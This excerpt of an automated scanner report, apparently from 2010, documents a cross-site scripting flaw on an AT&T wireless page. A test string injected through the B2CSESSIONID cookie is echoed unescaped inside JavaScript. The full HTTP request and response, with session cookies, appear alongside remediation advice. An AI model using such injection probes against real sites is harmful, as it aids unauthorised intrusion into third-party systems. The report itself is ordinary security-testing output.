Connection: Transfer-Encoding
Set-Cookie: TLTHID=52AFCFE6F69C10F609E7961BDAF558A3; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=QybkMrQTJH9D7N!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797418; path=/
Set-Cookie: DYN_USER_CONFIRM=1878a1aea3a8d29e03268db1329d16e2; path=/
Content-Length: 109862


                                                                                                                   
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = '17d69</script><a>ad20fe7cdff';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

1.16. http://www.wireless.att.com/cell-phone-service/welcome/ [B2CSESSIONID cookie]  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.wireless.att.com
Path:   /cell-phone-service/welcome/

Issue detail

The value of the B2CSESSIONID cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6371c</script><a>6ef3e802b6c was submitted in the B2CSESSIONID cookie. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /cell-phone-service/welcome/ HTTP/1.1
Host: www.wireless.att.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: ECOM_GTM=owaln_osaln_oesaln; fsr.s={"v":-2,"rid":"1290472805633_198079","ru":"http://burp/show/0","r":"burp","st":"","pv":4,"to":5,"c":"http://www.wireless.att.com/cell-phone-service/cell-phones/cell-phones.jsp","lc":{"d4":{"v":4,"s":false}},"cd":4,"sd":4,"f":1290473130100}; DTAB=Tab=Res; wtAka=y; fsr.a=1290473143958; TLTHID=DE05629CF69A10F6F571A2342A455D4D; ucvCookie=803; DYN_USER_CONFIRM=d11ea7940a6ed07029a26790fa1261a4; BCNSESS=run=false; __utma=52846072.447538220.1290472804.1290472804.1290472804.1; __utmc=52846072; bn_search=true; __utmb=52846072.5.10.1290472804; svariants=NA; __utmz=52846072.1290472804.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; B2CSESSIONID=6371c</script><a>6ef3e802b6c; cust_type=new; BIGipServerpWL_7010_7011=283234695.25371.0000; fsr.session={"cp":{"u-verse_avail":"unknown"},"v":1,"rid":"1290472267288_731516","ru":"http://attuverseoffers.com/tv_hsi_bundles/index.html?1&source=ECbc0000000WIP00O&GUID=F83D66D2-BD03-468E-BCF6-F9C5779AA949","r":"attuverseoffers.com","st":"","pv":1,"to":3,"c":"http://www.att.com/u-verse/availability/#fbid=Mm2rWQb3GBW","lc":{"d1":{"v":1,"s":false}},"cd":1,"sd":1,"f":1290472276321}; browserid=A001224476413; bn_u=6923296835329414257; DYN_USER_ID=3294797009; TLTUID=B436CA9AF6CD10F6F2709B124D729511; M8W3=3fRyIZNaWuj03d9FG736KalkLAPtv8dloDBiXv6ZJDLZfI7-a-Psaqg; TLTSID=B436CA9AF6CD10F6F2709B124D729511;

Response

HTTP/1.1 200 OK
Server: Apache
P3P: policyref=""/w3c/p3p.xml"", CP="CAO DSP COR LAW CURa ADMa DEVa TAIa PSAa PSDa OUR DELa BUS IND PHY ONL UNI PUR COM NAV DEM STA GOV"
X-ATG-Version: ATGPlatform/2007.1p3 [ DPSLicense/0 ]
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Type: text/html; charset=UTF-8
Expires: Tue, 23 Nov 2010 00:54:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Tue, 23 Nov 2010 00:54:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: TLTHID=2DB53096F69C10F6FD74B3162C087916; Path=/; Domain=.att.com
Set-Cookie: B2CSESSIONID=Bs0rMrQQgKRxFf!1150642669; path=/
Set-Cookie: DYN_USER_ID=3294797364; path=/
Set-Cookie: DYN_USER_CONFIRM=b6192ec7f01bc56de133fad0b3042acd; path=/
Content-Length: 64739


                                                                                                                                                                                                                                                                                                                                                                                       
...[SNIP]...
<script type="text/javascript" charset="utf-8">
   function SessionVars() {
       this.getCurrSessId = function() {
           var pSessionId = '6371c</script><a>6ef3e802b6c';
           return pSessionId;
       };

       this.getCurrBrowserId = function() {
           var pBrowserId;
           pBrowserId = this.getCookie('browserid');
           return pBrowserId;
       };
       
       this.getCookie = function(name) {
   
...[SNIP]...

Report generated by XSS.CX at Mon Nov 22 19:40:57 CST 2010.